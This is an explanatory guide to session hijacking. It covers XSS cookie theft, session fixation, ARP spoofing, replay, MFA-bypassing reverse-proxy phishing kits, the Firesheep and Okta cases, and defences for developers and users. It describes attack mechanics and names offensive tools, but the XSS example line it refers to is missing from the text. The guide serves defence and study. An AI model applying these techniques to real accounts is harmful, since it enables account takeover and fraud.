What Is Session Hijacking?

Plus cookie hijacking, session fixation, XSS cookie theft, ARP spoofing, replay attacks, the phishing kits now bypassing MFA, and how to actually prevent it.

Session hijacking is when an attacker takes over your already-logged-in session by stealing the token — usually a cookie — that a website issued after you proved who you are, and uses it to access your account without ever needing your password. The attacker isn't breaking your login. They're walking through a door you already opened — a different weakness entirely from credential stuffing, which targets the login step itself rather than a session already past it.

This guide covers how session hijacking actually works, every major way attackers steal a session ID — packet sniffing, cross-site scripting, session fixation, ARP spoofing, replay attacks, and the adversary-in-the-middle phishing kits currently bypassing MFA at scale — two real breaches behind the theory, how to prevent it as both a developer and a user, and how it's tested in ethical hacking.

How Session Hijacking Works

Websites use session cookies because HTTP itself has no memory — without one, a site would have to ask you to re-enter your password on every single page load. So instead, once you log in, the server generates a random session ID, hands it to your browser as a cookie, and from that point on treats any request carrying that cookie as coming from you. No further password check happens.

That convenience is exactly the weakness. The server doesn't verify it's still really you behind the browser — only that the request came with a valid session ID. Anyone who obtains a copy of that ID, through any of the methods below, can present it to the server and be treated as you for as long as the session stays valid, with no password, no MFA prompt, and often no visible sign to the real user that anything happened.

How Attackers Steal a Session ID

There isn't one method — session hijacking is an umbrella term covering several distinct techniques:

• Packet sniffing — passively capturing an unencrypted session cookie off a shared network, the technique the tool Firesheep made famous in 2010, covered below.
• Cross-site scripting (XSS) — injecting a script into a vulnerable page that reads and exfiltrates the victim's cookie. Covered in its own section below.
• Session fixation — setting a known session ID on the victim before they log in, rather than stealing one afterward. Covered in its own section below.
• Network interception (ARP spoofing) — positioning on the same local network as the victim to intercept traffic, including session cookies, in transit. Covered below.
• Session replay — capturing a valid session token and reusing it later, sometimes on a completely different device or location than the original session. Covered below.
• Adversary-in-the-Middle (AiTM) phishing — the current dominant technique, using a fake login page built on a reverse proxy to capture a session cookie right after a real MFA check. Covered below.
• Malware and infostealers — malicious software that reads session cookies directly from the browser's local storage, no network interception required at all.

Real-World Session Hijacking Attacks

In October 2010, the Firefox extension Firesheep put session hijacking in front of the public for the first time. Released at the ToorCon security conference, it automatically captured session cookies for sites like Facebook and Twitter from anyone sharing the same open Wi-Fi network — sites that encrypted the login page but not the rest of the session. It was downloaded more than a million times in its first month and is widely credited with pushing the industry toward encrypting entire sessions, not just login forms.

A much more consequential case played out in October 2023, when Okta, one of the largest identity-management providers in the world, confirmed that attackers had spent nearly three weeks inside its customer support system after stealing an employee's credentials. Okta's support process asked customers to upload HAR files — browser session recordings used to troubleshoot problems — and those files routinely captured live session cookies and authentication tokens in plain text alongside everything else. The attackers read those files and used the session tokens inside them to hijack the actual, active Okta sessions of five customers. Three of them, Cloudflare, 1Password, and BeyondTrust, later published their own detailed accounts. Cloudflare confirmed the attacker used a session token stolen from a Cloudflare employee's own support ticket to pivot directly into Cloudflare's internal Okta environment with administrative access.

Cross-Site Scripting and Cookie Theft

Cross-site scripting (XSS) steals a session cookie by getting a malicious script to run inside a victim's browser on a page they trust, then having that script read the cookie and send it somewhere the attacker controls. Unlike sniffing or ARP spoofing, XSS needs no network position at all — it works over HTTPS, on a fully encrypted connection, because the theft happens inside the browser itself, after decryption.

A stripped-down version of the technique looks like this, injected wherever a vulnerable site fails to sanitize user input:

That single line silently sends the victim's cookie to the attacker's server the moment the page loads for them, with nothing visible on screen. XSS comes in three forms — stored (the payload sits permanently in a comment, profile field, or forum post), reflected (the payload rides along in a link the victim has to click), and DOM-based (the payload runs by manipulating page content client-side, without the server ever seeing it) — and all three can be used for this same purpose.

The standard defense is the HttpOnly cookie flag, which blocks JavaScript, including an injected script, from reading the cookie at all. Historically, attackers found a workaround even for HttpOnly cookies using the HTTP TRACE method to echo cookie data back through the server rather than through JavaScript — which is why disabling TRACE support is still listed as a baseline hardening step, even though most modern servers block it by default. A Content Security Policy (CSP) that restricts which scripts are allowed to run at all is the other major layer, since it stops the injected script from executing in the first place rather than just protecting the cookie from it.

Session Fixation

Session fixation is a different bug with the same goal: instead of stealing an existing session, the attacker sets the session ID before the victim ever logs in. OWASP draws the line precisely — session fixation happens before authentication, session hijacking happens after.

The mechanism: a vulnerable site accepts a session ID supplied by whoever's connecting, rather than always generating a fresh one itself. The attacker visits the site first, obtains a session ID, then gets the victim to use that same ID — through a crafted link, a hidden form field, or a cross-site request. When the victim logs in, the site attaches their newly authenticated session to the ID the attacker already knows, and the attacker uses it to walk in as the victim.

This is formally classified as CWE-384 under OWASP's Authentication Failures category. The fix is specific: a session ID must be regenerated the instant a user authenticates, regardless of what ID they arrived with. Encrypting session tokens in transit — the fix for ordinary hijacking — does nothing to stop fixation, which is why the two need to be treated as separate vulnerabilities rather than one general "session security" checkbox.

Cookie Hijacking

Cookie hijacking and session hijacking describe the same event from two angles. "Session hijacking" names the outcome — taking over someone's logged-in session. "Cookie hijacking" names the mechanism most sessions actually use to get taken over: stealing the literal browser cookie holding the session ID. In modern cookie-based authentication, the two terms are close enough to interchangeable, which is why they're often used that way.

The main ways a cookie actually gets stolen, gathered in one place:

• Exploiting XSS to read the cookie via script, covered above.
• Man-in-the-middle interception, including ARP spoofing and rogue Wi-Fi, covered below.
• Malware or infostealers reading the cookie straight out of browser storage.
• Exposure through logs, support tools, or debugging files — the exact mechanism behind the Okta breach above, where session tokens sat in plain text inside uploaded HAR files.

Session Replay Attacks

A session replay attack captures a valid session token and reuses it later, exactly as it was, to be treated as an already-authenticated user — without needing to decrypt or understand anything about the token itself. It's the narrowest of the techniques on this page: the attacker doesn't need to modify anything or trick anyone into a new action, only successfully resend something that already worked once.

This is precisely what happened in the Okta case above — the stolen tokens inside those HAR files weren't cracked or decoded, they were simply replayed as-is into an active admin session. The standard defense is binding a session to more than just its ID: tying it to the device, network, or IP address that first created it, and rejecting the same token if it suddenly shows up somewhere else, which is exactly the ASN-binding feature Okta added after this incident.

ARP Spoofing and Session Hijacking

ARP spoofing is how an attacker gets into position to steal a session cookie on a local network in the first place, without needing an open Wi-Fi network the way Firesheep did. It forges Address Resolution Protocol messages to trick nearby devices into routing their traffic through the attacker instead of the real router — ARP has no built-in authentication, so any device can falsely claim to own any address on the network, and everyone else simply believes it.

Once positioned this way, the attacker can intercept the same unencrypted session cookies Firesheep captured, even on a network that isn't openly public — a shared office network or an improperly segmented guest Wi-Fi, for instance. The defense is network-side: switches with Dynamic ARP Inspection validate ARP messages against a trusted table before forwarding them, closing off the technique before it reaches an individual device.

Adversary-in-the-Middle Phishing

Adversary-in-the-middle (AiTM) phishing is the technique currently responsible for bypassing multi-factor authentication at scale, and it works by stealing your session cookie the moment after you've already proven who you are. MITRE ATT&CK classifies it as technique T1557, usually paired with T1539 (Steal Web Session Cookie).

The victim receives a phishing link to a page that looks identical to a real login page — Microsoft 365 and Google Workspace are the most common targets. That page isn't a static fake; it's a reverse proxy, built with kits like Evilginx, EvilProxy, or Tycoon 2FA, that relays every step of the real login process to the real site in the background. The victim types their real password, gets a real MFA prompt, and approves it — and the genuine site issues a genuine session cookie in response. The proxy captures that cookie in transit and hands it to the attacker, who loads it into their own browser and walks in as the victim, without ever needing the password or a second MFA prompt again.

The scale of this shift is well documented. The Canadian Centre for Cyber Security analyzed more than 100 AiTM campaigns targeting Microsoft Entra ID accounts between 2023 and early 2025, and found that business-email-compromise phishing — attackers using a hijacked session to impersonate a trusted contact and redirect payments or steal further credentials — made up 91% of everything it categorized in that window, not old-style password-only phishing. If you want the mechanics of the reverse-proxy layer itself in more depth, our proxy server guide covers how reverse proxies work generally, and our phishing attack guide covers the broader tactics these AiTM kits are built on top of.

How to Prevent Session Hijacking

For Website Owners and Developers

• Serve every page over HTTPS, not just the login form — the exact gap Firesheep exploited.
• Set the HttpOnly flag on session cookies so client-side JavaScript, and therefore XSS, can't read them.
• Set the Secure flag so the cookie is never sent over an unencrypted connection.
• Set SameSite=Lax or Strict to stop the cookie from being sent on cross-site requests.
• Regenerate the session ID immediately after login, which closes off session fixation at the same time.
• Bind sessions to a device or network fingerprint where possible, and reject a token that suddenly reappears somewhere else — the fix Okta added after its breach.
• Expire sessions after a period of inactivity, and require re-authentication for sensitive actions like changing a password or adding a payment method.
• Never let session tokens land in logs, error reports, or support-ticket attachments in plain text.

For End Users

• Avoid logging into sensitive accounts over open, unencrypted Wi-Fi. If you have no choice, use a VPN — see our proxy vs. VPN guide for what a VPN actually hides on a network like that.
• Log out of accounts you're done with instead of just closing the tab — logging out invalidates the session on the server, closing the tab alone doesn't.
• Never click through a certificate warning on a login page, even once.
• Check an unfamiliar login link before entering anything into it — our phishing link detector flags the kind of lookalike domains AiTM kits rely on.
• Use a password manager. It won't autofill credentials on a spoofed AiTM domain even if the page looks pixel-identical to the real one — and a strong, unique password per site limits the damage of any single leak.
• Turn on a passkey or FIDO2 security key wherever it's offered, since it's specifically what stops AiTM cookie theft.
• Periodically check your account's list of active sessions or logged-in devices, and revoke anything you don't recognize.

Session Hijacking in Ethical Hacking

Session hijacking is a standard test item in authorized penetration testing, and it appears directly in certification curricula like CEH and OSCP, which is why so many people searching for it are studying rather than defending a live system. Testing for it legally always requires written authorization and a defined scope — the exact same technique is a crime the moment either of those is missing.

A few tools show up repeatedly in this kind of testing. Burp Suite and OWASP ZAP are used to check whether session tokens are predictable, whether cookies carry the correct security flags, and whether an application is exploitable via XSS to exfiltrate one — PortSwigger's own lab walks through exactly this scenario. Wireshark inspects whether session data ever travels unencrypted across the network. Ettercap is a common choice for demonstrating ARP-spoofing-based interception on an isolated test network, the same technique covered above.